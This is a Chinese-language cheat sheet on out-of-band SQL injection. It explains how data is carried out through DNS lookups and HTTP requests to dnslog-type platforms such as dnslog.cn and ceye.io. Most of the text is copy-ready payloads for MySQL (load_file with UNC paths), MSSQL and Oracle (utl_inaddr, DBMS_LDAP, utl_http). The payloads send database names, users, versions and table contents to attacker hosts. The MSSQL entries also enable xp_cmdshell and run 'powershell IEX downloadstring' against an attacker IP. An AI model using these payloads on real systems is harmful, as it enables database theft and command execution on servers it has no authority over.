平台网址 | 平台简介 |
---|---|
http://dnslog.cn/ | 仅支持DNS数据外带 |
http://ceye.io/ | 支持DNS和HTTP两种数据外带方式(推荐使用 ) |
外带原理
注:load_file函数在Linux下是无法用来做dnslog攻击的,涉及到Windows中的UNC路径。(linux中不存在UNC路径)
相关解释
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
利用内置函数load_file()来完成DNSLOG。
load_file() 不仅能够加载本地文件,同时也能对诸如www.test.com这样的URL发起请求。
load_file() 加载文件' ',是对' \ '的转义,load_file读取文件和windows读取文件调用的都是c的fopen()函数,而双斜杠表示网络资源路径,即UNC路径,于是发起了dns请求
MYSQL dnslog条件
secure_file_priv = "" # 可以读取磁盘目录 secure_file_priv = "D:\" # 可以读取D盘文件 secure_file_priv = null # load_file限制,不能加载文件
show global variables like 'secure%'; //查看是否有写限制
常用payload
?id=1 union select 1,load_file(concat('\\\\',( select version()),'.2hlktd.dnslog.cn\\a')),3--+
?id=1 union select 1,load_file(concat('\\\\',( select database()),'.2hlktd.dnslog.cn\\a')),3--+
select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='mysql' limit 0,1),'.2hlktd.dnslog.cn\\a'))--+
select load_file(concat('\\\\',( select column_name from information_schema.columns where table_schema = 'mysql' and table_name = 'users' limit 0,1),'.2hlktd.dnslog.cn\\a'))--+
select load_file(concat('\\\\',( select id from mysql.user limit 0,1),'.2hlktd.dnslog.cn\\a'))--+
注意事项
有些时候数据库字段的值可能是有特殊符号的,由于域名有一定规范,有些特殊符号是不能带入,这些特殊符号拼接在域名里是无法做dns查询的。可以用hex编码 将含特殊符号的数据外带出
char(ascii(database())) 编码绕过
外带原理
MSSQL dnslog条件
?id=1; EXEC sp_configure 'show advanced options',1;-- ?id=1; RECONFIGURE;-- ?id=1; EXEC sp_configure 'xp_cmdshell',1;-- ?id=1; RECONFIGURE;--
?id=1'; exec master..xp_cmdshell 'ping -n 10 127.0.0.1'--
常用payload
?id=1;DECLARE @a varchar(1024);set @a=db_name();exec('master..xp_cmdshell "ping -n 2 ' %2b @a %2b'.2hlktd.dnslog.cn"')-- ?id=2;declare @a varchar(1024);set @a=db_name();exec('master..xp_subdirs "//'%2B@a%2B'.leitu0.log.saltor.icu\\a" '); 注:其他方式xp_subdirs xp_dirtree xp_fileexist
外带原理
相关函数
utl_inaddr.get_host_address() 函数
SYS.DBMS_LDAP.INIT() 函数
常用payload
and (select utl_inaddr.get_host_address((select user from dual)||'.aaa.com(自己搭建dnslog)') from dual)is not null -- and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.aaaa.com(自己搭建dnslog)') from dual)is not null --
注意:|| 转码%7C%7C
ping %USERNAME%.bbn3un.ceye.io
外带原理
MSSQL HTTP外带条件
?id=1; EXEC sp_configure 'show advanced options',1;-- ?id=1; RECONFIGURE;-- ?id=1; EXEC sp_configure 'xp_cmdshell',1;-- ?id=1; RECONFIGURE;--
?id=1'; exec master..xp_cmdshell 'ping -n 10 127.0.0.1'--
常用payload
?id=1'; DECLARE @a varchar(8000);SET @a=db_name();exec('master..xp_cmdshell "powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.172:8888?data='%2b @a %2b''')"' ) -- ?id=1'; DECLARE @okma VARCHAR(8000);SET @okma=(SELECT TOP 1 substring(@@version,1,35));exec('master..xp_cmdshell "powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.172:7777/?data='%2b @okma %2b''')"' ) --
外带原理
相关函数
utl_http.request()函数**
函数说明 :在Oracle中提供了utlhttprequest函数,用于取得web服务器的请求信息,因此,攻击者可以自己监听端口,然后通过这个函数用请求将需要的数据发送反弹回头
UTL_HTTP包介绍 :提供了对HTTP的一些操作。
举例 :执行这条SQL语句,将返回 baidu. com的HTML源码
select UTL_HTTP.REQUEST('[http://www.baidu.com'](http://www.baidu.com))from dual
带外注入过程
select count(*) from allobjects where object name='UTL_HTTP'
在本地用nc监听一个端口,要求本地主机拥有一个外网的ip地址
nc-lvvp监听端口
and UTL_HTTP.request('[http://ip](http://ip):监听端口/'||(查询语句)=1--
注意:每次在注入点提交一次请求,nc监听完后就会断开,需要重新启动nc监听
常用payload
id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP')-- id=1 and (select count(*) from all_objects where object_name='UTL_HTTP')>1-- id=1 union select 1,null,3,(select count(*) from all_objects where object_name='UTL_HTTP') from dual--
and utl_http.request('http://172.16.12.172:8888/'%7C%7C'~'%7C%7C(select banner from sys.v_$version where rownum=1))=1--
id=1 and UTL_HTTP.request('http://ip:监听端口/'||(select user from dual)=1-- id=1 and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 -- //注意||转码%7C%7C
注意:|| 转码%7C%7C